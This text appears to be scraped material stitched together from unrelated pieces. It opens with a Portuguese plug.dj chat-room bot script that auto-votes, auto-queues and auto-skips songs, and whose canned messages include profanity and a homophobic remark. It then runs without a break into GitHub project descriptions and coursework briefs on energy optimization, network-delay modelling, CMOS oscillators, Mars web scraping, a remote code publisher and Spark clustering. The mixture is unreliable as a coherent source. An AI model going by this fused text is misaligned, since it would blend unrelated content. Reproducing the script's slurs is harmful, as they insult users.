MAX_USERS_WAITLIST = 50; var fbMsg = ["Entrem na Pagina da sala: https://www.facebook.com/CantadasdiPedreiro"]; var rulesMsg = "Regras: 1) Video no Maximo 6 minutos. 2) Sem Flood! 3) Nao escrever em colorido 4) Respeitar os Adms e Mods ;s 5) Nao Fiquem Pedindo Cargos. "; var skipMsg = ["por favor não pedir para pular as músicas, quer pular da deslike."]; var fansMsg = ["Virem meu Fan que eu retribuo vocês, não esqueça de da @ Menções"]; var wafflesMsg = ["Ppkas para todos! # - (> _ <) - # "," Alguém disse ppkas? # - (> _ <) - #"]; var bhvMsg = ["por favor, não sejam gays no bate-papo "," por favor, não fale assim, controlar a si mesmo! "," por favor, seja maduros fdps"]; var sleepMsg = ["Ta na hora de dormi, Fui virjs! "," Indo dormir agora "," estou tão cansado, durmi é necessário, fui me cama. "," cansaço ... sono ... e ... fui me dormir."]; var workMsg = ["Estou ocupado não sou Vagabundo igual a vocês."]; var afkMsg = ["Eu estou indo embora e um Vão se foderem."," Vou fica AFK por um tempo, volto em breve! "," Indo embora, volto em breve! "," Vou Viaja nas galáxia, estarei de volta em breve !"]; var backMsg = ["Estou de volta minhas putinhas! "," Adivinha quem está de volta? Quem sera? Claro que é eu o seu Pai :D"]; var autoAwayMsg = ["Atualmente estou AFK "," Eu estou AFK "," Eu estou em uma aventura (afk) "," desapareceu por um momento "," não está presente no teclado."]; var autoSlpMsg = ["Atualmente estou dormindo "," Estou comendo ppkas em meus sonhos"]; var autoWrkMsg = ["Atualmente estou ocupado "," estou ocupado "," fazendo um trabalho relacionado a ppkas."]; overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"];overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"]; var styles = [ '.sidebar {position: fixed; top: 0; height: 100%; width: 200px; z-index: 99999; background-image: linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -o-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -moz-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -ms-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0, #000000),color-stop(1, #3B5678));}', '.sidebar#side-right {right: -190px;z-index: 99999;}', '.sidebar#side-left {left: -190px; z-index: 99999; }', '.sidebar-handle {width: 12px;height: 100%;z-index: 99999;margin: 0;padding: 0;background: rgb(96, 141, 197);box-shadow: 0px 0px 15px 0px rgba(0, 0, 0, .9);cursor: "ne-resize";}', '.sidebar-handle span {display: block;position: absolute;width: 10px;top: 50%;text-align: center;letter-spacing: -1px;color: #000;}', '.sidebar-content {position: absolute;width: 185px;height: 100%; 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var scripts = [ "(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind('mousemove',track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev])}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev])};var handleHover=function(e){var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t)}if(e.type=='mouseenter'){pX=ev.pageX;pY=ev.pageY;$(ob).bind('mousemove',track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}}else{$(ob).unbind('mousemove',track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob)},cfg.timeout)}}};return this.bind('mouseenter',handleHover).bind('mouseleave',handleHover)}})(jQuery);", 'if (jQuery.easing.easeOutQuart === undefined) jQuery.easing.easeOutQuart = function (a,b,c,d,e) { return -d*((b=b/e-1)*b*b*b-1)+c; }', '$("#side-right")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "right": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "right": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });', '$("#side-left")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "left": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "left": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });' ]; function initAPIListeners() { API.addEventListener(API.DJ_ADVANCE, djAdvanced); API.addEventListener(API.CHAT, autoRespond); API.addEventListener(API.DJ_UPDATE, queueUpdate); API.addEventListener(API.VOTE_UPDATE, function (obj) { populateUserlist(); }); API.addEventListener(API.USER_JOIN, function (user) { populateUserlist(); }); API.addEventListener(API.USER_LEAVE, function (user) { populateUserlist(); }); } function displayUI() { var colorWoot = autowoot ? '#3FFF00' : '#ED1C24'; var colorQueue = autoqueue ? '#3FFF00' : '#ED1C24'; var colorStream = stream ? '#3FFF00' : '#ED1C24'; var colorVideo = hideVideo ? '#3FFF00' : '#ED1C24'; $('#side-right .sidebar-content').append( 'auto woot' + 'auto queue' + 'stream' + 'hide video' + 'rules' + 'like our fb' + 'no fans' + 'no skip' + 'waffles' + 'sleeping' + 'working' + 'afk' + 'available' + 'skip' + 'lock' + 'unlock' + 'lockskip' ); } function initUIListeners() { $("#plug-btn-woot").on("click", function() { autowoot = !autowoot; $(this).css("color", autowoot ? "#3FFF00" : "#ED1C24"); if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } jaaulde.utils.cookies.set(COOKIE_WOOT, autowoot); }); $("#plug-btn-queue").on("click", function() { autoqueue = !autoqueue; $(this).css('color', autoqueue ? '#3FFF00' : '#ED1C24'); if (autoqueue && !isInQueue()) { joinQueue(); } jaaulde.utils.cookies.set(COOKIE_QUEUE, autoqueue); }); $("#plug-btn-stream").on("click", function() { stream = !stream; $(this).css("color", stream ? "#3FFF00" : "#ED1C24"); if (stream == true) { API.sendChat("/stream on"); } else { API.sendChat("/stream off"); } jaaulde.utils.cookies.set(COOKIE_STREAM, stream); }); $("#plug-btn-hidevideo").on("click", function() { hideVideo = !hideVideo; $(this).css("color", hideVideo ? "#3FFF00" : "#ED1C24"); $("#yt-frame").animate({"height": (hideVideo ? "0px" : "271px")}, {duration: "fast"}); $("#playback .frame-background").animate({"opacity": (hideVideo ? "0" : "0.91")}, {duration: "medium"}); jaaulde.utils.cookies.set(COOKIE_HIDE_VIDEO, hideVideo); }); $("#plug-btn-face").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fbMsg[Math.floor(Math.random() * fbMsg.length)]); } }); $("#plug-btn-rules").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(rulesMsg); } }); $("#plug-btn-fans").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fansMsg[Math.floor(Math.random() * fansMsg.length)]); } }); $("#plug-btn-noskip").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(skipMsg[Math.floor(Math.random() * skipMsg.length)]); } }); $("#plug-btn-waffles").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(wafflesMsg[Math.floor(Math.random() * wafflesMsg.length)]); } }); $("#plug-btn-sleeping").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 3) { API.sendChat(sleepMsg[Math.floor(Math.random() * sleepMsg.length)]); Models.user.changeStatus(3); } } }); $("#plug-btn-working").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 2) { API.sendChat(workMsg[Math.floor(Math.random() * workMsg.length)]); Models.user.changeStatus(2); } } }); $("#plug-btn-afk").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 1) { API.sendChat(afkMsg[Math.floor(Math.random() * afkMsg.length)]); Models.user.changeStatus(1); } } }); $("#plug-btn-back").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 0) { API.sendChat(backMsg[Math.floor(Math.random() * backMsg.length)]); Models.user.changeStatus(0); } } }); $("#plug-btn-skip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new ModerationForceSkipService; } }); $("#plug-btn-lock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); }); $("#plug-btn-unlock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); }); $("#plug-btn-lockskip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); new ModerationForceSkipService; new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); } }); } function queueUpdate() { if (autoqueue && !isInQueue()) { joinQueue(); } } function isInQueue() { var self = API.getSelf(); return API.getWaitList().indexOf(self) !== -1 || API.getDJs().indexOf(self) !== -1; } function joinQueue() { if ($('#button-dj-play').css('display') === 'block') { $('#button-dj-play').click(); } else if (API.getWaitList().length < MAX_USERS_WAITLIST) { API.waitListJoin(); } } function autoRespond(data) { var a = data.type == "mention" && Models.room.data.staff[data.fromID] && Models.room.data.staff[data.fromID] >= Models.user.BOUNCER, b = data.message.indexOf('@') >0; if (data.type == "mention" && mentioned == false) { if (API.getUser(data.fromID).status == 0) { mentioned = true; timer = setInterval("checkMentioned();", 1000); if (Models.user.data.status == 1) { API.sendChat("@" + data.from + " automsg: " + autoAwayMsg[Math.floor(Math.random() * autoAwayMsg.length)]); } if (Models.user.data.status ==2) { API.sendChat("@" + data.from + " automsg: " + autoWrkMsg[Math.floor(Math.random() * autoWrkMsg.length)]); } if (Models.user.data.status ==3) { API.sendChat("@" + data.from + " automsg: " + autoSlpMsg[Math.floor(Math.random() * autoSlpMsg.length)]); } } } } function djAdvanced(obj) { if (hideVideo) { $("#yt-frame").css("height", "0px"); $("#playback .frame-background").css("opacity", "0.0"); } if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } setTimeout("overPlayedSongs();", 3000); } function overPlayedSongs(data) { if (overPlayed.indexOf(Models.room.data.media.id) > -1) { API.sendChat("/me auto skip ligado, Musica Repetida. Fuck you baby!"); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } if (Models.room.data.media.duration > 481) { API.sendChat("/me auto skip ligado, música com mais de 6 minutos seram puladas."); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } } function populateUserlist() { var mehlist = ''; var wootlist = ''; var undecidedlist = ''; var a = API.getUsers(); var totalMEHs = 0; var totalWOOTs = 0; var totalUNDECIDEDs = 0; var str = ''; var users = API.getUsers(); var myid = API.getSelf(); for (i in a) { str = '' + a[i].username + ''; if (typeof (a[i].vote) !== 'undefined' && a[i].vote == -1) { totalMEHs++; mehlist += str; } else if (typeof (a[i].vote) !== 'undefined' && a[i].vote == +1) { totalWOOTs++; wootlist += str; } else { totalUNDECIDEDs++; undecidedlist += str; } } var totalDECIDED = totalWOOTs + totalMEHs; var totalUSERS = totalDECIDED + totalUNDECIDEDs; var totalMEHsPercentage = Math.round((totalMEHs / totalUSERS) * 100); var totalWOOTsPercentage = Math.round((totalWOOTs / totalUSERS) * 100); if (isNaN(totalMEHsPercentage) || isNaN(totalWOOTsPercentage)) { totalMEHsPercentage = totalWOOTsPercentage = 0; } mehlist = ' ' + totalMEHs.toString() + ' (' + totalMEHsPercentage.toString() + '%)' + mehlist; wootlist = ' ' + totalWOOTs.toString() + ' (' + totalWOOTsPercentage.toString() + '%)' + wootlist; undecidedlist = ' ' + totalUNDECIDEDs.toString() + undecidedlist; if ($('#side-left .sidebar-content').children().length > 0) { $('#side-left .sidebar-content2').append(); } $('#side-left .sidebar-content2').html(' users: ' + API.getUsers().length + ' '); var spot = Models.room.getWaitListPosition(); var waitlistDiv = $(' ').addClass('waitlistspot').text('waitlist: ' + (spot !== null ? spot + ' / ' : '') + Models.room.data.waitList.length); $('#side-left .sidebar-content2').append(waitlistDiv); $('#side-left .sidebar-content2').append(' '); $(".meanlist").append( ' meh list:' + mehlist + ' ' + ' woot list:' + wootlist + ' ' ); } function checkMentioned() { if(timePassed >= timeToWait) { clearInterval(timer); mentioned = false; timePassed = 0; } else { timePassed = timePassed + 601; } } function checkClicked() { if (clickPassed >= clickWait) { clearInterval(clickTimer); clicked = false; clickPassed = 0; } else { clickPassed = clickPassed + 601; } } function checkSkipped() { if (skipPassed >= skipWait) { clearInterval(skipTimer); skipped = false; skipPassed = 600; } else { skipPassed = skipPassed + 500; } } $('#plugbot-css').remove(); $('#plugbot-js').remove(); $('#chat-messages').append(' Bem vindo auto-skip editado pelo Rafael Moraes 1.0 '); $('body').prepend('' + "\n" + styles.join("\n") + "\n" + ''); $('body').append(' ' + ' ||| ' + ' ' + ' ' + ' ' + ' ||| ' + ' ' + ' ' + ' '); $('body').append('');
Mohamed-Bargout / Hybrid Energy System OptimizationOptimization of a hybrid solar/wind/hydroelectric pumped storage system in Egypt using metaheuristics (SA, GA, PSO, FA). Neural networks were trained to approximate objective functions, enabling faster evaluations and reducing computational time as population size increased.
knowledgedefinednetworking / Understanding The Modeling Of Network Delays Using NNRecent trends in networking are proposing the use of Machine Learning (ML) techniques for the control and operation of the network. In this context, ML can be used as a computer network modeling technique to build models that estimate the network performance. Indeed, network modeling is a central technique to many networking functions, for instance in the field of optimization, in which the model is used to search a configuration that satisfies the target policy. In this paper, we aim to provide an answer to the following question: Can neural networks accurately model the delay of a computer network as a function of the input traffic? For this, we assume the network as a black-box that has as input a traffic matrix and as output delays. Then we train different neural networks models and evaluate its accuracy under different fundamental network characteristics: topology, size, traffic intensity and routing. With this, we aim to have a better understanding of computer network modeling with neural nets and ultimately provide practical guidelines on how such models need to be trained.
ali-ece / Design Of Optimal CMOS Ring Oscillator Using An Intelligent Optimization ToolThis paper presents an intelligent sizing method to improve the performance and efficiency of a CMOS Ring Oscillator (RO). The proposed approach is based on the simultaneous utilization of powerful and new multi-objective optimization techniques along with a circuit simulator under a data link. The proposed optimizing tool creates a perfect tradeoff between the contradictory objective functions in CMOS RO optimal design. This tool is applied for intelligent estimation of the circuit parameters (channel width of transistors), which have a decisive influence on RO specifications. Along the optimal RO design in an specified range of oscillaton frequency, the Power Consumption, Phase Noise, Figure of Merit (FoM), Integration Index, Design Cycle Time are considered as objective functions. Also, in generation of Pareto front some important issues, i.e. Overall Nondominated Vector Generation (ONVG), and Spacing (S) are considered for more effectiveness of the obtained feasible solutions in application. Four optimization algorithms called Multi-Objective Genetic Algorithm (MOGA), Multi-Objective Inclined Planes system Optimization (MOIPO), Multi-Objective Particle Swarm Optimization (MOPSO) and Multi-Objective Modified Inclined Planes System Optimization (MOMIPO) are utilized for 0.18-mm CMOS technology with supply voltage of 1-V. Baesd on our extensive simulations and experimental results MOMIPO outperforms the best performance among other multi-objective algorithms in presented RO designing tool.
jlira5418 / Web Scraping Challenge## Step 1 - Scraping Complete your initial scraping using Jupyter Notebook, BeautifulSoup, Pandas, and Requests/Splinter. * Create a Jupyter Notebook file called `mission_to_mars.ipynb` and use this to complete all of your scraping and analysis tasks. The following outlines what you need to scrape. ### NASA Mars News * Scrape the [Mars News Site](https://redplanetscience.com/) and collect the latest News Title and Paragraph Text. Assign the text to variables that you can reference later. ```python # Example: news_title = "NASA's Next Mars Mission to Investigate Interior of Red Planet" news_p = "Preparation of NASA's next spacecraft to Mars, InSight, has ramped up this summer, on course for launch next May from Vandenberg Air Force Base in central California -- the first interplanetary launch in history from America's West Coast." ``` ### JPL Mars Space Images - Featured Image * Visit the url for the Featured Space Image site [here](https://spaceimages-mars.com). * Use splinter to navigate the site and find the image url for the current Featured Mars Image and assign the url string to a variable called `featured_image_url`. * Make sure to find the image url to the full size `.jpg` image. * Make sure to save a complete url string for this image. ```python # Example: featured_image_url = 'https://spaceimages-mars.com/image/featured/mars2.jpg' ``` ### Mars Facts * Visit the Mars Facts webpage [here](https://galaxyfacts-mars.com) and use Pandas to scrape the table containing facts about the planet including Diameter, Mass, etc. * Use Pandas to convert the data to a HTML table string. ### Mars Hemispheres * Visit the astrogeology site [here](https://marshemispheres.com/) to obtain high resolution images for each of Mar's hemispheres. * You will need to click each of the links to the hemispheres in order to find the image url to the full resolution image. * Save both the image url string for the full resolution hemisphere image, and the Hemisphere title containing the hemisphere name. Use a Python dictionary to store the data using the keys `img_url` and `title`. * Append the dictionary with the image url string and the hemisphere title to a list. This list will contain one dictionary for each hemisphere. ```python # Example: hemisphere_image_urls = [ {"title": "Valles Marineris Hemisphere", "img_url": "..."}, {"title": "Cerberus Hemisphere", "img_url": "..."}, {"title": "Schiaparelli Hemisphere", "img_url": "..."}, {"title": "Syrtis Major Hemisphere", "img_url": "..."}, ] ``` - - - ## Step 2 - MongoDB and Flask Application Use MongoDB with Flask templating to create a new HTML page that displays all of the information that was scraped from the URLs above. * Start by converting your Jupyter notebook into a Python script called `scrape_mars.py` with a function called `scrape` that will execute all of your scraping code from above and return one Python dictionary containing all of the scraped data. * Next, create a route called `/scrape` that will import your `scrape_mars.py` script and call your `scrape` function. * Store the return value in Mongo as a Python dictionary. * Create a root route `/` that will query your Mongo database and pass the mars data into an HTML template to display the data. * Create a template HTML file called `index.html` that will take the mars data dictionary and display all of the data in the appropriate HTML elements. Use the following as a guide for what the final product should look like, but feel free to create your own design.  - - - ## Step 3 - Submission To submit your work to BootCampSpot, create a new GitHub repository and upload the following: 1. The Jupyter Notebook containing the scraping code used. 2. Screenshots of your final application. 3. Submit the link to your new repository to BootCampSpot. 4. Ensure your repository has regular commits and a thorough README.md file ## Hints * Use Splinter to navigate the sites when needed and BeautifulSoup to help find and parse out the necessary data. * Use Pymongo for CRUD applications for your database. For this homework, you can simply overwrite the existing document each time the `/scrape` url is visited and new data is obtained. * Use Bootstrap to structure your HTML template.
jashwanth / Remote Code PublisherRemote-Code-Publisher Purpose: A Code Repository is a Program responsible for managing source code resources, e.g., files and documents. A fully developed Repository will support file persistance, managment of versions, and the acquisition and publication of source and document files. A Remote Repository adds the capability to access the Repository's functionality over a communication channel, e.g., interprocess communication, inter-network communication, and communication across the internet. In this project we will focus on the publication functionality of a Remote Repository. We will develop a remote code publisher, local client, and communication channel that supports client access to the publisher from any internet enabled processor. The communication channel will use sockets and support an HTTP like message structure. The channel will support: HTTP style request/response transactions One-way communication, allowing asynchronous messaging between any two endpoints that are capable of listening for connection requests and connecting to a remote listener. Transmission of byte streams that are set up with one or more negotiation messages followed by transmission of a stream of bytes of specified stream size2. The Remote Code Publisher will: Support publishing web pages that are small wrappers around C++ source code files, just as we did in Project #3. Accept source code text files, sent from a local client. Support building dependency relationships between code files saved in specific repository folders, based on the functionality you provided in Project #2 and used in Project #3. Support HTML file creation for all the files in a specified repository folder1, including linking information that displays dependency relationships, and supports and navigation based on dependency relationships. Delete stored files, as requested by a local client. Clients of the Remote Code Publisher will provide a Graphical User Interface (GUI) with means to: Upload one or more source code text files to the Remote Publisher, specifying a category with which those files are associated1. Display file categories, based on the directory structure supported by the Repository. Display all the files in any category. Display all of the files in any category that have no parents. Display the web page for any file in that file list by clicking within a GUI control. This implies that the client will download the appropriate webpages, scripts, and style sheets and display, by starting a browser with a file cited on the command line2. On starting, will download style sheet and JavaScript files from the Repository. Note that your client does not need to supply the functionality to display web pages. It simply starts a browser to do that. Browsers will accept a file name, which probably includes a relative path to display a web page from the local directory. You could also start IIS web server and provide an appropriate URL to the browser on startup. Either approach is acceptable. If you use IIS, you won't have to download files, but you are obligated to show that you can do that. Requirements: Your Remote Repository: (2) Shall use Visual Studio 2015 and its C++ Windows console projects, as provided in the ECS computer labs. You must also use Windows Presentation Foundation (WPF) to provide a required client Graphical User Interface (GUI). (1) Shall use the C++ standard library's streams for all console I/O and new and delete for all heap-based memory management. (3) Shall provide a Repository program that provides functionality to publish, as linked web pages, the contents of a set of C++ source code files. (4) Shall, for the publishing process, satisfy the requirements of CodePublisher developed in Project #3. (4) Shall provide a Client program that can upload files3, and view Repository contents, as described in the Purpose section, above. (3) Shall provide a message-passing communication system, based on Sockets, used to access the Repository's functionality from another process or machine. (2) The communication system shall provide support for passing HTTP style messages using either synchronous request/response or asynchronous one-way messaging. (1) The communication system shall also support sending and receiving streams of bytes6. Streams will be established with an initial exchange of messages. (5) Shall include an automated unit test suite that demonstrates you meet all the requirements of this project4 including the transmission of files. (5 point bonus) Shall optionally use a lazy download strategy, that, when presented with a name of a source code web page, will download that file and all the files it links to. This allows you to demonstrate your project using local webpages instead of downloading the entire contents of the Code Publisher for demonstration. (5 point bonus) Shall optionally have the publisher accept a path, on the commandline, to a virtual directory on the server. Then support browsing directly from the server by supplying a url to that path when you start a browser. This works only if you setup IIS on your machine and make the path a virtual directory. The TAs will do that on the grading machines. Categories are the names of folders in which the Repository stores its source code and web files. You may define Categories in any way that seems sensible. For example, they could simply be the namespace(s) for the uploaded files, or a Client supplied name. You will find a demonstration of how to programmatically start an application here. The stream capablity is intended to send files, which could be either text or binary format. Stream size will be the file size. Transmitting and receiving byte streams will be used to send and receive files in either text or binary format. This is in addition to the construction tests you include as part of every package you submit. Project 3 statement: Purpose: A Code Repository is a Program responsible for managing source code resources, e.g., files and documents. A fully developed Repository will support file persistance, managment of versions, and the acquisition and publication of source and document files. This project focuses on just the publishing functionality of a repository. In this project we will develop means to display source code files as web pages with embedded child links. Each link refers to a code file that the displayed code file depends on. There are several things you need to know in order to complete this project: Each file to be published is a C++ source file. Our publisher will generate, for each of these, an HTML file, with most of the contents drawn from the code file. The pages we will generate have only static content, with the exception of some embedded JavaScript and styling, so we won't need a web server. We will need to preserve the white space structure of the displayed source code. That can be done embedding all the code between the tags <pre> and </pre> or by using the CSS white-space property with value "pre" to style a div with all the code in its contents. Any markup characters in the code text will have to be escaped, e.g., replace < with < and > with >. File dependencies are displayed in the web page with embedded links, which are implemented in HTML5 with anchor elements: <a href="[url of referenced html page]">source code file name</a> For each class, we will, optionally, implement outlining, similar to the visual studio outlining feature. To do that we will use the CSS display property, with values: normal or none, to control whether the contents of a div are visible or not. The Code Publisher will be embedded in a mock Repository with almost no functionality except to support publishing of source code as web pages. Specifically you are not expected to provide support for: package checkin or checkout versioning You are expected to support: Dependency analysis of the C++ source code files you will publish, using the analyzer you developed in Project #2. The ability to specify, on the command line, files to be published, by providing command line arguments for path and file patterns. The ability to display any file cited on the command line, by starting a process that runs a browser of your choice, naming the specification of the file you want to display. Note that the CodePublisher project creates a code generator. Its inputs are C++ code and its outputs are HTML code. Requirements: Your CodePublisher Project: (1) Shall use Visual Studio 2015 and its C++ Windows console projects, as provided in the ECS computer labs. (2) Shall use the C++ standard library's streams for all console I/O and new and delete for all heap-based memory management1. (4) Shall provide a Publisher program that provides for creation of web pages each of which captures the content of a single C++ source code file, e.g., *.h or *.cpp. (10) Shall, optionally2 provide the facility to expand or collapse class bodies, methods, and global functions using JavaScript and CSS properties. (2) Shall provide a CSS style sheet that the Publisher uses to style its generated pages and (if you are implementing the previous optional requirement) a JavaScript file that provides functionality to hide and unhide sections of code for outlining, using mouse clicks. (2) Shall embed in each web page's <head> section links to the style sheet and JavaScript file. (4) Shall embedd HTML5 links to dependent files with a label, at the top of the web page. Publisher shall use functionality from your Project #2 to discover package dependencies within the published set of source files. (2) Shall develop command line processing to define the files to publish by specifying path and file patterns. (3) Shall demonstrate the CodePublisher functionality by publishing all the important packages in your Project #3. (5) Shall include an automated unit test suite that demonstrates you meet all the requirements of this project2. That means that you are not allowed to use any of the C language I/0, e.g., printf, scanf, etc, nor the C memory management, e.g., calloc, malloc, or free. This optional requirement will take a significant amount of work to complete successfully. You should get everything else working before attempting this additional effort. This is in addition to the construction tests you include as part of every package you submit.
GroupAYECS765P / BDP 05 Large Scale ClusteringBDP 05: CLUSTERING OF LARGE UNLABELED DATASETS OVERVIEW Real world data is frequently unlabeled and can seem completely random. In these sort of situations, unsupervised learning techniques are a great way to find underlying patterns. This project looks at one such algorithm, KMeans clustering, which searches for boundaries separating groups of points based on their differences in some features. The goal of the project is to implement an unsupervised clustering algorithm using a distributed computing platform. You will implement this algorithm on the stack overflow user base to find different ways the community can be divided, and investigate what causes these groupings. The clustering algorithm must be designed in a way that is appropriate for data intensive parallel computing frameworks. Spark would be the primary choice for this project, but it could also be implemented in Hadoop MapReduce. Algorithm implementations from external libraries such as Spark MLib may not be utilised; the code must be original from the students. However, once the algorithm is completed, a comparison between your own results and that generated by MLlib could be interesting and aid your investigation. Stack Overflow is the main dataset for this project, but alternative datasets can be adopted after consultation with the module organiser. Additionally, different clustering algorithms may be utilised, but this must be discussed and approved y the module organiser. DATASET The project will use the Stack Overflow dataset. This dataset is located in HDFS at /data/stackoverflow The dataset for StackOverflow is a set of files containing Posts, Users, Votes, Comments, PostHistory and PostLinks. Each file contains one XML record per line. For complete schema information: Click here In order to define the clustering use case, you must define what should be the features of each post that will be used to cluster the data. Have a look at the different fields to define your use case. ALGORITHM The project will implement the k-means algorithm for clustering. This algorithm iteratively recomputes the location of k centroids (k is the number of clusters, defined beforehand), that aim to classify the data. Points are labelled to the closest centroid, with each iteration updating the centroids location based on all the points labelled with that value. Spark and Map/Reduce can be utilised for implementing this problem. Spark is recommended for this task, due to its performance benefits in . However, note that the MLib extension of Spark is not allowed to be used as the primary implementation. The group must code its own original implementation of the algorithm. However, it is possible to also use the mllib implementation, in order to evaluate the results from each clustering implementation. Report Contents Brief literature survey on clustering algorithms, including the challenges on implementing them at scale for parallel frameworks. The report should then justify the chosen algorithm (if changed) and the implementation. Definition of the project use case, where the implemented project will be part of the solution. Implementation in MapReduce or Spark of a clustering algorithm(KMeans). Must take into account the potential enormous size of the dataset, and develop sensible code that will scale and efficiently use additional computing nodes. The code will also need to potentially convert the dataset from its storage format to an in-memory representation. Source code should not be included in the report. However, the algorithms should be explained in the report. Results section. Adequate figures and tables should be used to present the results. The effectiveness of the algorithm should also be shown, including performance indications. Not really sure if this can be done for clustering. Critical evaluation of the results should be provided. Experiments demonstrating the technique can successfully group users in the dataset. Representation of the results, and discussion of the findings in a critical manner. ASSESSMENT The project according to the specification has a base difficulty of 85/100. This means that a perfect implementation and report would get a 85. Additional technical features and experimentation would raise the difficulty in order to opt for a full 100/100 mark. Report presentation: 20% Appropriate motivation for the work. Lack of typos/grammar errors, adequate format. Clear flow and style. Related work section including adequate referencing. Technical merit: 50% Completeness of the implementation. [25%] Provided source code. Code is documented. [10%] Design rationale of the code is provided. [10%] Efficient, and appropriate implementation for the chosen platform. [5%] Results/Analysis: 30% Experiments have been carried out on the full dataset. [10%] Adequate plots/tables are provided, with captions. [10%] Results are not only presented but discussed appropriately. [10%] Additional project goals: Implementation of additional functions beyond the base specification can raise the base mark up to 100. A non-exhaustive list of expansion ideas include: Exploration and discussion of hyperparameter tuning (e.g. the number of k groups to cluster the data into) [up to 10 marks] Comparative evaluation of clustering technique with existing implementations (e.g. mllib) [up to 10 marks] Bringing in additional datasets from stackoverflow, such as user badges, to aid in clustering [up to 5 marks] Cluster additional datasets (such as posts) [up to 10 marks] LEAD DEMONSTRATOR For specific queries related to this coursework topic, please liaise with Mr/Ms TBD, who will be the lead demonstrator for this project, as well as with the module organiser. SUBMISSION GUIDELINES The report will have a maximum length of 8 pages, not counting cover page and table of contents. The report must include motivation of the problem, brief literature survey, explanation of the selected technique, implementation details and discussion of the obtained results, and references used in the work. Additionally, the source code must be included as a separate compressed file in the submission.
